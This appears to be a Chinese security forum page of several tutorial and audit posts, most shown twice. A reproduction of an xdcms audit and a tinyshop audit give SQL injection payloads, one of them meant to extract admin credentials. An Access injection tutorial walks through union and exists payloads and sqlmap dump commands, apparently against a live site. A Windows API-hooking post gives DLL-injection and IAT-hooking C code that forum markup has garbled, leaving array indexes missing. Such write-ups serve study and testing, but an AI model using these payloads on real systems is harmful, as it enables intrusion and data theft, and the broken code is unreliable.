xdcms 代码审计 (一丢丢)

PHPjizi_smile 发表了文章 • 0 个评论 • 175 次浏览 • 2020-03-23 01:25 • 来自相关话题

本文章 是对(https://www.cnblogs.com/Oran9e/p/7944859.html)的复现 但是在自己复现时感觉还是存在问题
环境:1.win10 phpstudy apache 2.4.39  mysql5.7.26
2.xdcms_3.0.1(源码下边分享)
-------------------------------------------------------------
安装不说 ,127.0.0.1/install   下一步下一步(默认管理员账号密码;xdcms  xdcms)
-------------------------------------------------------------
seay 扫了一下







因为是跟着文章走的所以也没看别的直接看了用户注册时的sql 注入
代码如下public function register_save(){
$username=safe_html($_POST['username']);
$password=$_POST['password'];
$password2=$_POST['password2'];
$fields=$_POST['fields'];
if(empty($username)||empty($password2)||empty($password)){
showmsg(C('material_not_complete'),'-1');
}
if(!strlength($username,5)){
showmsg(C('username').C('str_len_error').'5','-1');
}
if(!strlength($password,5)){
showmsg(C('password').C('str_len_error').'5','-1');
}
if($password!=$password2){
showmsg(C('password_different'),'-1');
}
$password=md5(md5($password));

$user_num=$this->mysql->num_rows("select * from ".DB_PRE."member where `username`='$username'");//判断会员是否存在
if($user_num>0){
showmsg(C('member_exist'),'-1');
}
$ip=safe_replace(safe_html(getip()));
$this->mysql->db_insert('member',"`username`='".$username."',`password`='".$password."',`creat_time`='".datetime()."',`last_ip`='".$ip."',`is_lock`='0',`logins`='0',`groupid`='1'");//插入主要字段——用户名、密码
$last_id=$this->mysql->insert_id();

//插入附属字段
$field_sql='';
foreach($fields as $k=>$v){
$f_value=$v;
if(is_array($v)){
$f_value=implode(',',$v);
}
$field_sql.=",`{$k}`='{$f_value}'";
}
$field_sql=substr($field_sql,1);
$field_sql="update ".DB_PRE."member set {$field_sql} where userid={$last_id}";
$query=$this->mysql->query($field_sql);

showmsg(C('register_success'),'index.php?m=member&f=register');
}register_save函数是一个处理用户注册时像数据库插入数据的函数观察发现 能用户输入的只有username password 并且password 直接md5 两次加密了 ,只剩username了。 $username=safe_html($_POST['username']);找一圈发现 username 只 在开始用safe_html这个函数过滤了一次定位函数 看看写的啥function safe_replace($string) {
$string = str_replace('%20','',$string);
$string = str_replace('%27','',$string);
$string = str_replace('%2527','',$string);
$string = str_replace('*','',$string);
$string = str_replace('"','"',$string);
$string = str_replace("'",'',$string);
$string = str_replace('"','',$string);
$string = str_replace(';','',$string);
$string = str_replace('<','<',$string);
$string = str_replace('>','>',$string);
$string = str_replace("{",'',$string);
$string = str_replace('}','',$string);
$string = str_replace('\\','',$string);
return $string;
}

//安全过滤函数
function safe_html($str){
if(empty($str)){return;}
$str=preg_replace('/select|insert | update | and | in | on | left | joins | delete |\%|\=|\/\*|\*|\.\.\/|\.\/| union | from | where | group | into |load_file
|outfile/','',$str);
return htmlspecialchars($str);
}看了下两个安全过滤函数  safe_html 是过滤SQL语句的  把一些关键字替换为空  到这里文章中说 有注入  可以绕过 pyload 是:username=bestorange' or updatexml(1,concat(0x7e,(selEct concat(username,0x23,password) frOm c_admin),0x7e),1) #&password=bestorange&password2=bestorange&fields%5Btruename%5D=bestorange&fields%5Bemail%5D=bestorange&submit=+%E6%B3%A8+%E5%86%8C+注入结果是这样的







 
但是我试了一下不行报错是这样的






看了一下 单引号被转义了前边加了一个斜线 应该因为safe_html 中的htmlspecialchars  所以我感觉不行因为拼接出来的语句闭合不了  ,所以自己试这个语句 






还是不行   





 
所以这里sql 注入 我也没找到pyload  大佬们可以试一下
------------------------------------------------------------------------
文章还有审的xss   
黑盒测试阶段不说 看过滤函数就是上边两个过滤函数之一function safe_replace($string) {
$string = str_replace('%20','',$string);
$string = str_replace('%27','',$string);
$string = str_replace('%2527','',$string);
$string = str_replace('*','',$string);
$string = str_replace('"','&quot;',$string);
$string = str_replace("'",'',$string);
$string = str_replace('"','',$string);
$string = str_replace(';','',$string);
$string = str_replace('<','<',$string);
$string = str_replace('>','>',$string);
$string = str_replace("{",'',$string);
$string = str_replace('}','',$string);
$string = str_replace('\\','',$string);
return $string;
}空格,单双引号,尖括号,大括号 双斜线 都被换为空 所以感觉应该不太好xss复现时因为cms版本低所以用了低版本mysql数据库 用phpmyadmin 时报错[b]Parse error[/b]=medium: syntax error, unexpected T_STRING, expecting T_CONSTANT_ENCAPSED_STRING or '(' in [b]F:\phpstudy_pro\WWW\phpMyAdmin4.8.5\index.php[/b]=medium on line [b]8[/b]  原因是数据库版本过低以上只是对文章的简单复现
------------------------------------------------------------------------------------
完。 查看全部
本文章 是对(https://www.cnblogs.com/Oran9e/p/7944859.html)的复现 但是在自己复现时感觉还是存在问题
环境:1.win10 phpstudy apache 2.4.39  mysql5.7.26
2.xdcms_3.0.1(源码下边分享)
-------------------------------------------------------------
安装不说 ,127.0.0.1/install   下一步下一步(默认管理员账号密码;xdcms  xdcms)
-------------------------------------------------------------
seay 扫了一下


2.PNG


因为是跟着文章走的所以也没看别的直接看了用户注册时的sql 注入
代码如下
public function register_save(){
$username=safe_html($_POST['username']);
$password=$_POST['password'];
$password2=$_POST['password2'];
$fields=$_POST['fields'];
if(empty($username)||empty($password2)||empty($password)){
showmsg(C('material_not_complete'),'-1');
}
if(!strlength($username,5)){
showmsg(C('username').C('str_len_error').'5','-1');
}
if(!strlength($password,5)){
showmsg(C('password').C('str_len_error').'5','-1');
}
if($password!=$password2){
showmsg(C('password_different'),'-1');
}
$password=md5(md5($password));

$user_num=$this->mysql->num_rows("select * from ".DB_PRE."member where `username`='$username'");//判断会员是否存在
if($user_num>0){
showmsg(C('member_exist'),'-1');
}
$ip=safe_replace(safe_html(getip()));
$this->mysql->db_insert('member',"`username`='".$username."',`password`='".$password."',`creat_time`='".datetime()."',`last_ip`='".$ip."',`is_lock`='0',`logins`='0',`groupid`='1'");//插入主要字段——用户名、密码
$last_id=$this->mysql->insert_id();

//插入附属字段
$field_sql='';
foreach($fields as $k=>$v){
$f_value=$v;
if(is_array($v)){
$f_value=implode(',',$v);
}
$field_sql.=",`{$k}`='{$f_value}'";
}
$field_sql=substr($field_sql,1);
$field_sql="update ".DB_PRE."member set {$field_sql} where userid={$last_id}";
$query=$this->mysql->query($field_sql);

showmsg(C('register_success'),'index.php?m=member&f=register');
}
register_save函数是一个处理用户注册时像数据库插入数据的函数观察发现 能用户输入的只有username  password  并且password 直接md5 两次加密了 ,只剩username了。
 
$username=safe_html($_POST['username']);
找一圈发现 username 只 在开始用safe_html这个函数过滤了一次定位函数 看看写的啥
function safe_replace($string) {
$string = str_replace('%20','',$string);
$string = str_replace('%27','',$string);
$string = str_replace('%2527','',$string);
$string = str_replace('*','',$string);
$string = str_replace('"','&quot;',$string);
$string = str_replace("'",'',$string);
$string = str_replace('"','',$string);
$string = str_replace(';','',$string);
$string = str_replace('<','<',$string);
$string = str_replace('>','>',$string);
$string = str_replace("{",'',$string);
$string = str_replace('}','',$string);
$string = str_replace('\\','',$string);
return $string;
}

//安全过滤函数
function safe_html($str){
if(empty($str)){return;}
$str=preg_replace('/select|insert | update | and | in | on | left | joins | delete |\%|\=|\/\*|\*|\.\.\/|\.\/| union | from | where | group | into |load_file
|outfile/','',$str);
return htmlspecialchars($str);
}
看了下两个安全过滤函数  safe_html 是过滤SQL语句的  把一些关键字替换为空  到这里文章中说 有注入  可以绕过 pyload 是:
username=bestorange' or updatexml(1,concat(0x7e,(selEct concat(username,0x23,password) frOm c_admin),0x7e),1) #&password=bestorange&password2=bestorange&fields%5Btruename%5D=bestorange&fields%5Bemail%5D=bestorange&submit=+%E6%B3%A8+%E5%86%8C+
注入结果是这样的


3.PNG


 
但是我试了一下不行报错是这样的

4.PNG


看了一下 单引号被转义了前边加了一个斜线 应该因为safe_html 中的htmlspecialchars  所以我感觉不行因为拼接出来的语句闭合不了  ,所以自己试这个语句 

5.PNG


还是不行   

6.PNG

 
所以这里sql 注入 我也没找到pyload  大佬们可以试一下
------------------------------------------------------------------------
文章还有审的xss   
黑盒测试阶段不说 看过滤函数就是上边两个过滤函数之一
function safe_replace($string) {
$string = str_replace('%20','',$string);
$string = str_replace('%27','',$string);
$string = str_replace('%2527','',$string);
$string = str_replace('*','',$string);
$string = str_replace('"','&quot;',$string);
$string = str_replace("'",'',$string);
$string = str_replace('"','',$string);
$string = str_replace(';','',$string);
$string = str_replace('<','<',$string);
$string = str_replace('>','>',$string);
$string = str_replace("{",'',$string);
$string = str_replace('}','',$string);
$string = str_replace('\\','',$string);
return $string;
}
空格,单双引号,尖括号,大括号 双斜线 都被换为空  所以感觉应该不太好xss
复现时因为cms版本低所以用了低版本mysql数据库 用phpmyadmin 时报错
[b]Parse error[/b]=medium: syntax error, unexpected T_STRING, expecting T_CONSTANT_ENCAPSED_STRING or '(' in [b]F:\phpstudy_pro\WWW\phpMyAdmin4.8.5\index.php[/b]=medium on line [b]8[/b]   原因是数据库版本过低
以上只是对文章的简单复现 
------------------------------------------------------------------------------------
完。

测试测试测试测试测试

回复

ypk 发起了问题 • 1 人关注 • 0 个回复 • 237 次浏览 • 2020-01-13 11:08 • 来自相关话题

代码审计之tinyshop注入

数据库SQL语言你可以叫我风平 发表了文章 • 0 个评论 • 196 次浏览 • 2020-01-02 11:18 • 来自相关话题

我们从网上下载的3.1.1的源码
将源码拖入到代码审计工具中查看结构





 
发现注入的审计过程
原生GET,POST,REQUEST变量中的' " <>等字符被转义了,通过debug跟踪代码以及全局搜索$_REQUEST等字符我并没有找到对这些变量进行过滤的地方,可能是在渲染输出的时候对字符串进行了过滤
我们找到(系统外部变量获取函数)---index.php






我们可看到获取外部变量都调用了Req类,我们跟进/framework/lib/util/request_class.php










 

GET和POST变量分别对应了Req::get()、Req::post()、Req::args(),且没有任何过滤,每次过滤都会调用Filter类,跟进/framework/lib/util/filter_class.php










 
Filter类中每一个方法都对应着不同的过滤功能,比较严格
查看系统DB类,了解数据库底层运行方式
/framework/web/model/module_class.php和/framework/web/model/query_class.php
前者用于被控制器调用,后者用于viewAction





 
基本上Model类的底层没有任何过滤,只是简单的进行类字符串拼接,所以只要能将'或\带入Model类中,且没有被Filter类过滤,即可构成注入
审计分析
综合上面信息,我们可以得知基本上除了Filter类,底层没有进行过于严格的过滤。
只要调用了Req类获取参数且在渲染赋值的过程中没有使用Filter类进行过滤,那么就很容易造成sql注入,底层Model类没有专门进行过滤。

我们进过搜索查找发现/protected/crontrollers/goods.php set_online方法中接收id参数进行商品上下架处理,却没有对id参数进行过滤,直接拼接进sql语句中





 
审计结果
构造id=12) and if(1=1,sleep(10),0)#,我们进入数据库查询





  查看全部
我们从网上下载的3.1.1的源码
将源码拖入到代码审计工具中查看结构

代码审计1.png

 
发现注入的审计过程
原生GET,POST,REQUEST变量中的' " <>等字符被转义了,通过debug跟踪代码以及全局搜索$_REQUEST等字符我并没有找到对这些变量进行过滤的地方,可能是在渲染输出的时候对字符串进行了过滤
我们找到(系统外部变量获取函数)---index.php

1.png


我们可看到获取外部变量都调用了Req类,我们跟进/framework/lib/util/request_class.php

2.png


3.png

 

GET和POST变量分别对应了Req::get()、Req::post()、Req::args(),且没有任何过滤,每次过滤都会调用Filter类,跟进/framework/lib/util/filter_class.php

4.png


5.png

 
Filter类中每一个方法都对应着不同的过滤功能,比较严格
查看系统DB类,了解数据库底层运行方式
/framework/web/model/module_class.php和/framework/web/model/query_class.php
前者用于被控制器调用,后者用于viewAction

6.png

 
基本上Model类的底层没有任何过滤,只是简单的进行类字符串拼接,所以只要能将'或\带入Model类中,且没有被Filter类过滤,即可构成注入
审计分析
综合上面信息,我们可以得知基本上除了Filter类,底层没有进行过于严格的过滤。
只要调用了Req类获取参数且在渲染赋值的过程中没有使用Filter类进行过滤,那么就很容易造成sql注入,底层Model类没有专门进行过滤。

我们进过搜索查找发现/protected/crontrollers/goods.php set_online方法中接收id参数进行商品上下架处理,却没有对id参数进行过滤,直接拼接进sql语句中

7.png

 
审计结果
构造id=12) and if(1=1,sleep(10),0)#,我们进入数据库查询

代码审计5.png

 

Access数据库注入

数据库SQL语言Einzben 发表了文章 • 0 个评论 • 343 次浏览 • 2019-10-24 20:11 • 来自相关话题

Access数据库
0X00简介
常见搭配为:windows+IIS+asp+access
 
Access 数据库由七种对象组成,它们是表、查询、窗体、报表、宏、页和模块。 
 





Access注入是暴力猜解
Access数据结构(access只有一个数据库)
Access数据库
  表名
    列名
      数据
没有库这个概念 只有表这个概念
0X01注入方法
一:union(兼容性较差,较少运用)
 
1.猜字段(数据库项目的数量或者说长度)
 
order by 16
 
网页正确显示则猜解正确
 
这里的16就是说数据库列的项数目为16个,如果改为17就会发生报错
 
由于access数据库的结构为表名-列名-内容数据,想要得到内容数据需要一层层分析
 
(信息收集时准备的数据库类型并搞明白该数据库的结构,并理清思路)
 
2.然后猜表名
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 from admin(这里admin是最普通的
 
站长用户名 页面正常则存在admin,不正常则不存在 )
此网页表名为city






 如图示说明在3和9的位置有项目存在数据内容,更改并猜测
3.猜列名
?id=-119 union select 1,2,id,4,5,6,7,8,city,10,11,12,13,14,15,16 from city
 







这里把3改为id 再把9改为city 没有出错证明这两个字段都是存在 不存在的话同上 不存在字段 (常用的列名 user pass username password admin )
 
二:exists
 
1.获取表名:and exists(select*from city) //若页面显示正常,则存在city表
 
页面显示正常则查表正确
 
2.查列:and exists(select 列名 from city)
 
页面显示正常则查表正确
 
3.查内容:
and (select top 1 len(列名) from 表名)=5 获取指定列名的内容长度
 
and (select top 1 asc(mid(列名,位数,1)) from 表)=97 获取第一位内容
 
and (select top 1 asc(mid(列名,位数,1)) from 表)=97 获取第二位内容
 
0X02sqlmap 
1、sqlmap -u "url" --tables 猜表名 (在这里只用修改url)





 
执行后可能会询问如下图中 1 所示,输入 y 然后回车 表示使用字典查询表名,然后会输出2 询问你是使用默认字典还是自定义 默认则直接按回车,需要自己设置 就输入2 然后回车。





 上图中为使用默认字典跑出来的表名。
2、sqlmap -u "url" -T "表名" --columns 猜字段名  (表名为第一步跑出来的表名)





 在这个步骤中依然会询问步骤一 图2中的问题,依然输入 y 回车,接着如果使用默认字典直接回车,若使用自定义字典输入2 然后回车。
 3、sqlmap -u "url" -T "表名" -C “字段1,字段2,字段3……” --dump 猜解表名中的字段内容 下图中包含步骤2猜解出来的字段





 下图中包含表示admin字段爆出来的内容和结果,其中1显示了本次dump的结果保存的路径,2表示本次sqlmap扫描的日志文件路径
 




这里直接用burp





 
一路回车





 使用sqlmap爆破列名
sqlmap.py -u "http://www..com/news_view.asp?id=119" -T "city" --columns 凉了
换成sqlmap.py -u "http://www..com/news_view.asp?id=119" -T "city" --columns --random-agent
 














  查看全部
Access数据库
0X00简介
常见搭配为:windows+IIS+asp+access
 
Access 数据库由七种对象组成,它们是表、查询、窗体、报表、宏、页和模块。 
 
clipboard.png


Access注入是暴力猜解
Access数据结构(access只有一个数据库)
Access数据库
  表名
    列名
      数据
没有库这个概念 只有表这个概念
0X01注入方法
一:union(兼容性较差,较少运用)
 
1.猜字段(数据库项目的数量或者说长度)
 
order by 16
 
网页正确显示则猜解正确
 
这里的16就是说数据库列的项数目为16个,如果改为17就会发生报错
 
由于access数据库的结构为表名-列名-内容数据,想要得到内容数据需要一层层分析
 
(信息收集时准备的数据库类型并搞明白该数据库的结构,并理清思路)
 
2.然后猜表名
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 from admin(这里admin是最普通的
 
站长用户名 页面正常则存在admin,不正常则不存在 )
此网页表名为city

QQ截图2.png


 如图示说明在39的位置有项目存在数据内容,更改并猜测
3.猜列名
?id=-119 union select 1,2,id,4,5,6,7,8,city,10,11,12,13,14,15,16 from city
 

QQ截图1.png



这里把3改为id 再把9为city 没有出错证明这两个字段都是存在 不存在的话同上 不存在字段常用的列名 user pass username password admin )
 
二:exists
 
1.获取表名:and exists(select*from city) //若页面显示正常,则存在city表
 
页面显示正常则查表正确
 
2.查列:and exists(select 列名 from city)
 
页面显示正常则查表正确
 
3.查内容:
and (select top 1 len(列名) from 表名)=5 获取指定列名的内容长度
 
and (select top 1 asc(mid(列名,位数,1)) from 表)=97 获取第一位内容
 
and (select top 1 asc(mid(列名,位数,1)) from 表)=97 获取第二位内容
 
0X02sqlmap 
1、sqlmap -u "url" --tables 猜表名 (在这里只用修改url)

4.png

 
执行后可能会询问如下图中 1 所示,输入 y 然后回车 表示使用字典查询表名,然后会输出2 询问你是使用默认字典还是自定义 默认则直接按回车,需要自己设置 就输入2 然后回车。

5.png

 上图中为使用默认字典跑出来的表名。
2、sqlmap -u "url" -T "表名" --columns 猜字段名  (表名为第一步跑出来的表名)

6.png

 在这个步骤中依然会询问步骤一 图2中的问题,依然输入 y 回车,接着如果使用默认字典直接回车,若使用自定义字典输入2 然后回车。
 3、sqlmap -u "url" -T "表名" -C “字段1,字段2,字段3……” --dump 猜解表名中的字段内容 下图中包含步骤2猜解出来的字段

7.png

 下图中包含表示admin字段爆出来的内容和结果,其中1显示了本次dump的结果保存的路径,2表示本次sqlmap扫描的日志文件路径
 
8.png

这里直接用burp

9.png

 
一路回车

10.png

 使用sqlmap爆破列名
sqlmap.py -u "http://www..com/news_view.asp?id=119" -T "city" --columns 凉了
换成sqlmap.py -u "http://www..com/news_view.asp?id=119" -T "city" --columns --random-agent
 
11.png


12.png


13.png

 

API 钩取

snow 发表了文章 • 1 个评论 • 345 次浏览 • 2019-08-12 20:17 • 来自相关话题

 
API:应用程序编程接口。任何 Windows OS 应用程序都需要使用 Win32 API。
 
API钩取技术可以实现对某些 Win32 API 调用过程的拦截,并获得相应的控制权限。
动态的 API 钩取用来针对进程内存。 
IAT:将内部 API 的地址修改为我们的钩取函数地址。优点是实现简单;缺点是无法针对不在 IAT 但是在程序中使用的 API(动态加载并使用 DLL 时)。代码空间:DLL 映射到内存空间后,从中查找出 API 的实际地址,直接修改代码。这种方法应用非常广泛。EAT:将 DLL 的 EAT 中的 API 地址更改为我们的钩取函数地址。具体实现方法不如修改代码方便、强大,所以不常用。

如何向目标进程设置钩取函数:
调试法:通过调试目标进程来钩取 API。因为调试器拥有调试者所有权限。注入法
 
调试法:
 
伪代码Main()
{
DebugActiveProcess(PID) //将调试器附加到目标进程
DebugLoop() //开启调试循环
}

DebugLoop()
{
while(WaitForDebugEvent(de,)) //调试循环
{
case de.dwDebugEventCode:


CREATE_PROCESS_DEBUG_EVENT //当被调试进程启动启动时即调用此函数
OnCreateProcessDebugEvent(&de)


EXCEPTION_DEBUG_EVENT //遇到异常时调用此函数
OnExceptionDebugEvent(&de)


EXIT_PROCESS_DEBUG_EVENT //终止调试
break


}
}


OnCreateProcessDebugEvent(&de)
{
将 de的进程信息复制给 g_cpdi
GetProcessAddress() //获得 WriteFile API 的地址
ReadProcessMemory() //保存 API 起始位置备份,用以恢复
WriteProcessMemory() //将 API 起始位置设置为断点

}


OnExceptionDebugEvent(&de)
{
1.根据异常信息判断是否为断点异常
2.根据异常信息判断异常地址是否为我们设置的断点地址
3.脱钩:将我们设置的断点指令还原为原指令
4.获取发生异常时的线程上下文
5.根据上下文中的 ESP 获得 WritelFile API 的参数 2 和 参数 3 地址
6.分配临时缓冲区,将参数读取到临时缓冲区
7.转换大小写
8.覆写到 WritelFile API 参数缓冲区
9.释放临时缓冲区
10.设置 EIP
11.继续运行程序
12.设置钩子
} #include "windows.h"
#include "stdio.h"

LPVOID g_pfWriteFile = NULL;
CREATE_PROCESS_DEBUG_INFO g_cpdi;
BYTE g_chINT3 = 0xCC, g_chOrgByte = 0;

BOOL OnCreateProcessDebugEvent(LPDEBUG_EVENT pde)
{
// 获得 WriteFile() API 函数地址
g_pfWriteFile = GetProcAddress(GetModuleHandleA("kernel32.dll"), "WriteFile");
// API Hook - WriteFile()
// 将信息复制给 g_cpdi
memcpy(&g_cpdi, &pde->u.CreateProcessInfo, sizeof(CREATE_PROCESS_DEBUG_INFO));
ReadProcessMemory(g_cpdi.hProcess, g_pfWriteFile,
&g_chOrgByte, sizeof(BYTE), NULL);
WriteProcessMemory(g_cpdi.hProcess, g_pfWriteFile,
&g_chINT3, sizeof(BYTE), NULL);
return TRUE;
}

BOOL OnExceptionDebugEvent(LPDEBUG_EVENT pde)
{
CONTEXT ctx;
PBYTE lpBuffer = NULL;
DWORD dwNumOfBytesToWrite, dwAddrOfBuffer, i;
PEXCEPTION_RECORD per = &pde->u.Exception.ExceptionRecord;
// 如果是断点异常
if( EXCEPTION_BREAKPOINT == per->ExceptionCode )
{
// 如果发生异常的地址是我们设置断点的地址
if( g_pfWriteFile == per->ExceptionAddress )
{
// #1. Unhook
// 将我们写入的 0xCC 替换为原来的指令
WriteProcessMemory(g_cpdi.hProcess, g_pfWriteFile,
&g_chOrgByte, sizeof(BYTE), NULL);
// #2. 获取线程上下文
ctx.ContextFlags = CONTEXT_CONTROL;
GetThreadContext(g_cpdi.hThread, &ctx);
// #3. 获取 WriteFile() 的第2个参数和第3个参数
// param 2 : ESP + 0x8
// param 3 : ESP + 0xC
ReadProcessMemory(g_cpdi.hProcess, (LPVOID)(ctx.Esp + 0x8),
&dwAddrOfBuffer, sizeof(DWORD), NULL);
ReadProcessMemory(g_cpdi.hProcess, (LPVOID)(ctx.Esp + 0xC),
&dwNumOfBytesToWrite, sizeof(DWORD), NULL);
// #4. 分配临时缓冲区
lpBuffer = (PBYTE)malloc(dwNumOfBytesToWrite+1);
memset(lpBuffer, 0, dwNumOfBytesToWrite+1);
// #5. 将 WriteFile() 缓冲区的内容复制到临时缓冲区
ReadProcessMemory(g_cpdi.hProcess, (LPVOID)dwAddrOfBuffer,
lpBuffer, dwNumOfBytesToWrite, NULL);
printf("\n### original string ###\n%s\n", lpBuffer);
// #6. 转换大小写
for( i = 0; i < dwNumOfBytesToWrite; i++ )
{
if( 0x61 <= lpBuffer && lpBuffer <= 0x7A )
lpBuffer -= 0x20;
}
printf("\n### converted string ###\n%s\n", lpBuffer);
// #7. 变换后的内容复制到 WriteFile() 缓冲区
WriteProcessMemory(g_cpdi.hProcess, (LPVOID)dwAddrOfBuffer,
lpBuffer, dwNumOfBytesToWrite, NULL);

// #8. 释放临时缓冲区
free(lpBuffer);
// #9. 设置 EIP
ctx.Eip = (DWORD)g_pfWriteFile;
SetThreadContext(g_cpdi.hThread, &ctx);
// #10. 运行调试进程
ContinueDebugEvent(pde->dwProcessId, pde->dwThreadId, DBG_CONTINUE);
Sleep(0);
// #11. API Hook
WriteProcessMemory(g_cpdi.hProcess, g_pfWriteFile,
&g_chINT3, sizeof(BYTE), NULL);
return TRUE;
}
}
return FALSE;
}

void DebugLoop()
{
DEBUG_EVENT de;
DWORD dwContinueStatus;
// 等待调试事件发生
while( WaitForDebugEvent(&de, INFINITE) )
{
dwContinueStatus = DBG_CONTINUE;
// 被调试进程生成或者附加事件
if( CREATE_PROCESS_DEBUG_EVENT == de.dwDebugEventCode )
{
OnCreateProcessDebugEvent(&de);
}
// 异常事件
else if( EXCEPTION_DEBUG_EVENT == de.dwDebugEventCode )
{
if( OnExceptionDebugEvent(&de) )
continue;
}
// 终止调试进程
else if( EXIT_PROCESS_DEBUG_EVENT == de.dwDebugEventCode )
{
//
break;
}
// 再次运行被调试者
ContinueDebugEvent(de.dwProcessId, de.dwThreadId, dwContinueStatus);
}
}

int main(int argc, char* argv)
{
DWORD dwPID;
if( argc != 2 )
{
printf("\nUSAGE : hookdbg.exe <pid>\n");
return 1;
}
// Attach Process
dwPID = atoi(argv[1]);
if( !DebugActiveProcess(dwPID) )
{
printf("DebugActiveProcess(%d) failed!!!\n"
"Error Code = %d\n", dwPID, GetLastError());
return 1;
}
// 调试器循环
DebugLoop();
return 0;
}
 
注入法 
      之
     通过 DLL 注入修改 IAT 来进行 API 钩取
 
这种方法的原理非常简单,在目标进程中注入我们的 DLL。然后把我们要钩取的 API 在 IAT 中的地址替换为我们自定义函数的地址即可。这样的话,目标进程每次调用目标 API 时都会调用先我们的函数,然后再让我们的函数调用目标 API。
 
难点1:选定目标 API。
 
在操作系统中,某项功能最终都是由某个或某些 API 提供的。
比如,创建文件由 Kernel32!CreateFile() API 负责,创建注册表新键由 advapi32!CreateKeyEx() API 负责,网络连接由 ws_232!connect() API 负责。
对于初学者来说,往往不知道哪个 API 提供了要钩取的功能。所以要学会使用检索功能。若搜索不到,就可以根据已有经验推测,在验证确认。
 
我们的目的是: 让计算器显示的阿拉伯数字更改为中文数字。
所以我们的目标 API 是:SetWindowTextW()
  BOOL SetWindowTextA(
HWND hWnd,
LPCSTR lpString
);





 
这个 API 有两个参数。第一个参数是窗口句柄,第二个参数是字符串指针。我们只需要将字符串中的阿拉伯数字更改为中文数字就可以了。
 
到此为止,我们的目的总共有 3 个。
将 DLL 注入进目标进程。替换目标进程 IAT 中的 API 地址。将阿拉伯数字跟改为中文数字。



0x1:注入 DLL
将 DLL 注入目标进程非常简单,使用 CreateRemoteThread 函数即可。
 
0x2: 如何替换 API 地址?
找到目标 API 在 IAT 中的存储地址。得到我们的函数的地址。进行替换。
  0x2.1:如何找到目标 API 在 IAT 中的存储地址
找到内存中导入表地址。遍历 IID,找到目标 DLL 对应的 IID。遍历目标 IID 的 IAT,对比找到存储目标 API 的项,将其值替换我们的地址。
  具体实现://参数分别是目标DLL名称,目标API的地址
BOOL hook_iat(LPCSTR szDllName, PROC pfnOrg, PROC pfnNew)
{
HMODULE hMod;
LPCSTR szLibName;
PIMAGE_IMPORT_DESCRIPTOR pImportDesc;
PIMAGE_THUNK_DATA pThunk;
DWORD dwOldProtect, dwRVA;
PBYTE pAddr;

//hMod是目标进程的 ImageBase
hMod = GetModuleHandle(NULL);
pAddr = (PBYTE)hMod;

//pAddr用来得到NT头的地址
pAddr += *((DWORD*)&pAddr[0x3C]);

//dwRVA得到导入表的RVA
dwRVA = *((DWORD*)&pAddr[0x90]);

//pImportDesc是首个IID
pImportDesc = (PIMAGE_IMPORT_DESCRIPTOR)((DWORD)hMod+dwRVA);

//通过循环遍历IID寻找目标DLL
for( ; pImportDesc->Name; pImportDesc++ )
{
//szLibName 是导入DLL的名称
szLibName = (LPCSTR)((DWORD)hMod + pImportDesc->Name);

//循环遍历存储目标API的项
if( !_stricmp(szLibName, szDllName) )
{
pThunk = (PIMAGE_THUNK_DATA)((DWORD)hMod +
pImportDesc->FirstThunk);
for( ; pThunk->u1.Function; pThunk++ )
{
if( pThunk->u1.Function == (DWORD64)pfnOrg )
{

VirtualProtect((LPVOID)&pThunk->u1.Function,
4,
PAGE_EXECUTE_READWRITE,
&dwOldProtect);

pThunk->u1.Function = (DWORD64)pfnNew;

VirtualProtect((LPVOID)&pThunk->u1.Function,
4,
dwOldProtect,
&dwOldProtect);
return TRUE;
}
}
}
}
return FALSE;
}
    
 
0x3:将阿拉伯数字更换为中文数字     BOOL WINAPI MySetWindowTextW(HWND hWnd, LPWSTR lpString)
{
wchar_t* pNum = L"零一二三四五六七八九";
wchar_t temp[2] = {0,};
int i = 0, nLen = 0, nIndex = 0;
nLen = wcslen(lpString);
for(i = 0; i < nLen; i++)
{
if( L'0' <= lpString[i] && lpString[i] <= L'9' )
{
temp[0] = lpString[i];
nIndex = _wtoi(temp);
lpString[i] = pNum[nIndex];
}
}
return ((PFSETWINDOWTEXTW)g_pOrgFunc)(hWnd, lpString);
}[/i][/i][/i][/i]

[i][i][i] DLL 全部的代码:[/i][/i][/i][i][i][i][i]// include
#include "stdio.h"
#include "wchar.h"
#include "windows.h"

// typedef
typedef BOOL (WINAPI *PFSETWINDOWTEXTW)(HWND hWnd, LPWSTR lpString);

// globals
FARPROC g_pOrgFunc = NULL;


BOOL WINAPI MySetWindowTextW(HWND hWnd, LPWSTR lpString)
{
    wchar_t* pNum = L"零一二三四五六七八九";
    wchar_t temp[2] = {0,};
    int i = 0, nLen = 0, nIndex = 0;
    nLen = wcslen(lpString);
    for(i = 0; i < nLen; i++)
    {
        if( L'0' <= lpString && lpString <= L'9' )
        {
            temp[0] = lpString;
            nIndex = _wtoi(temp);
            lpString = pNum[nIndex];
        }
    }
    return ((PFSETWINDOWTEXTW)g_pOrgFunc)(hWnd, lpString);
}

// hook_iat
BOOL hook_iat(LPCSTR szDllName, PROC pfnOrg, PROC pfnNew)
{
        HMODULE hMod;
        LPCSTR szLibName;
        PIMAGE_IMPORT_DESCRIPTOR pImportDesc;
        PIMAGE_THUNK_DATA pThunk;
        DWORD dwOldProtect, dwRVA;
        PBYTE pAddr;
        hMod = GetModuleHandle(NULL);
        pAddr = (PBYTE)hMod;
        pAddr += *((DWORD*)&pAddr[0x3C]);
        dwRVA = *((DWORD*)&pAddr[0x90]);
        pImportDesc = (PIMAGE_IMPORT_DESCRIPTOR)((DWORD)hMod+dwRVA);
        for( ; pImportDesc->Name; pImportDesc++ )
        {
               //szLibName 是IID的名字
               szLibName = (LPCSTR)((DWORD)hMod + pImportDesc->Name);
               if( !_stricmp(szLibName, szDllName) )
               {
                       pThunk = (PIMAGE_THUNK_DATA)((DWORD)hMod +
                                         pImportDesc->FirstThunk);
                       for( ; pThunk->u1.Function; pThunk++ )
                       {
                              if( pThunk->u1.Function == (DWORD64)pfnOrg )
                              {
                     
                                      VirtualProtect((LPVOID)&pThunk->u1.Function,
                                   4,
                                   PAGE_EXECUTE_READWRITE,
                                   &dwOldProtect);
                    pThunk->u1.Function = (DWORD64)pfnNew;
                                      
                    VirtualProtect((LPVOID)&pThunk->u1.Function,
                                   4,
                                   dwOldProtect,
                                   &dwOldProtect);                                        
                                      return TRUE;
                              }
                       }
               }
        }
        return FALSE;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
        switch( fdwReason )
        {
               case DLL_PROCESS_ATTACH :          
               g_pOrgFunc = GetProcAddress(GetModuleHandle(L"user32.dll"),
                                        "SetWindowTextW");
